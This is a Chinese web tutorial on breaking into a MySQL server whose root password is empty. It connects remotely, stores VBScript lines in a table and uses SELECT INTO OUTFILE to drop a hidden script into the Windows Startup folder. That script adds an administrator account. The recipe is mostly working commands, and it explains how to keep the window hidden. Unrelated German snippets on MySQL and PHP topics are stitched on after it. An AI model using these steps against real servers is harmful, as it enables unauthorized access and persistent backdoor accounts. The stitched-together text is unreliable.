MySQL用户root密码为空的另类攻击方法_MySQL
1、连接到对方mysql 服务器
mysql -u root -h 192.168.0.1
mysql.exe 这个程序在你安装了mysql的的bin目录中
2、让我们来看看服务器中有些什么数据库
mysql>show databases;
mysql默认安装时会有mysql、test这两个数据库,如果你看到有其它的数据库那么就是用户自建的数据库。
3、让我们进入数据库
mysql>use test;
我们将会进入test数据库中
4、查看我们进入数据库中有些什么数据表
mysql>show tables;
默认的情况下,test中没有任何表的存在。
以下为关键的部分
5、在test数据库下创建一个新的表;
mysql>create table a (cmd text);
好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。
6、在表中插入内容
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user zjl317 zjl317 /add""0) " );
mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators zjl317 /add""0) " );
注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个vbs的脚本程序!
7、好了,现在我们来看看表a中有些什么
mysql>select * from a;
我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步
8、输出表为一个vbs的脚本文件
mysql>select * from a into outfile "c://docume~1//alluse~1//「开始」菜单//程序//启动//a.vbs";
我们把我们表中的内容输入到启动组中,是一个vbs的脚本文件!注意“/"符号。
9、看到这大家肯定知道了,就是利用mysql输出一个可执行的文件而已。为什么不用bat呢,因为启动运行时会有明显的dos窗口出来,而用vbs脚本则可以完全隐藏窗口且不会有错误提示!本来,应该还有一句完成脚本后自动删除此脚本的,但是中文目录实在无法处理,只有作罢!

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Fähigkeiten zur Verarbeitung von Big-Data-Strukturen: Chunking: Teilen Sie den Datensatz auf und verarbeiten Sie ihn in Blöcken, um den Speicherverbrauch zu reduzieren. Generator: Generieren Sie Datenelemente einzeln, ohne den gesamten Datensatz zu laden, geeignet für unbegrenzte Datensätze. Streaming: Lesen Sie Dateien oder fragen Sie Ergebnisse Zeile für Zeile ab, geeignet für große Dateien oder Remote-Daten. Externer Speicher: Speichern Sie die Daten bei sehr großen Datensätzen in einer Datenbank oder NoSQL.

Die MySQL-Abfrageleistung kann durch die Erstellung von Indizes optimiert werden, die die Suchzeit von linearer Komplexität auf logarithmische Komplexität reduzieren. Verwenden Sie PreparedStatements, um SQL-Injection zu verhindern und die Abfrageleistung zu verbessern. Begrenzen Sie die Abfrageergebnisse und reduzieren Sie die vom Server verarbeitete Datenmenge. Optimieren Sie Join-Abfragen, einschließlich der Verwendung geeigneter Join-Typen, der Erstellung von Indizes und der Berücksichtigung der Verwendung von Unterabfragen. Analysieren Sie Abfragen, um Engpässe zu identifizieren. Verwenden Sie Caching, um die Datenbanklast zu reduzieren. Optimieren Sie den PHP-Code, um den Overhead zu minimieren.

Das Sichern und Wiederherstellen einer MySQL-Datenbank in PHP kann durch Befolgen dieser Schritte erreicht werden: Sichern Sie die Datenbank: Verwenden Sie den Befehl mysqldump, um die Datenbank in eine SQL-Datei zu sichern. Datenbank wiederherstellen: Verwenden Sie den Befehl mysql, um die Datenbank aus SQL-Dateien wiederherzustellen.

Wie füge ich Daten in eine MySQL-Tabelle ein? Mit der Datenbank verbinden: Stellen Sie mit mysqli eine Verbindung zur Datenbank her. Bereiten Sie die SQL-Abfrage vor: Schreiben Sie eine INSERT-Anweisung, um die einzufügenden Spalten und Werte anzugeben. Abfrage ausführen: Verwenden Sie die Methode query(), um die Einfügungsabfrage auszuführen. Bei Erfolg wird eine Bestätigungsmeldung ausgegeben.

Eine der wichtigsten Änderungen, die in MySQL 8.4 (der neuesten LTS-Version von 2024) eingeführt wurden, besteht darin, dass das Plugin „MySQL Native Password“ nicht mehr standardmäßig aktiviert ist. Darüber hinaus entfernt MySQL 9.0 dieses Plugin vollständig. Diese Änderung betrifft PHP und andere Apps

So verwenden Sie gespeicherte MySQL-Prozeduren in PHP: Verwenden Sie PDO oder die MySQLi-Erweiterung, um eine Verbindung zu einer MySQL-Datenbank herzustellen. Bereiten Sie die Anweisung zum Aufrufen der gespeicherten Prozedur vor. Führen Sie die gespeicherte Prozedur aus. Verarbeiten Sie die Ergebnismenge (wenn die gespeicherte Prozedur Ergebnisse zurückgibt). Schließen Sie die Datenbankverbindung.

Das Erstellen einer MySQL-Tabelle mit PHP erfordert die folgenden Schritte: Stellen Sie eine Verbindung zur Datenbank her. Erstellen Sie die Datenbank, falls sie nicht vorhanden ist. Wählen Sie eine Datenbank aus. Tabelle erstellen. Führen Sie die Abfrage aus. Schließen Sie die Verbindung.

Oracle-Datenbank und MySQL sind beide Datenbanken, die auf dem relationalen Modell basieren, aber Oracle ist in Bezug auf Kompatibilität, Skalierbarkeit, Datentypen und Sicherheit überlegen, während MySQL auf Geschwindigkeit und Flexibilität setzt und eher für kleine bis mittlere Datensätze geeignet ist. ① Oracle bietet eine breite Palette von Datentypen, ② bietet erweiterte Sicherheitsfunktionen, ③ ist für Anwendungen auf Unternehmensebene geeignet; ① MySQL unterstützt NoSQL-Datentypen, ② verfügt über weniger Sicherheitsmaßnahmen und ③ ist für kleine bis mittlere Anwendungen geeignet.
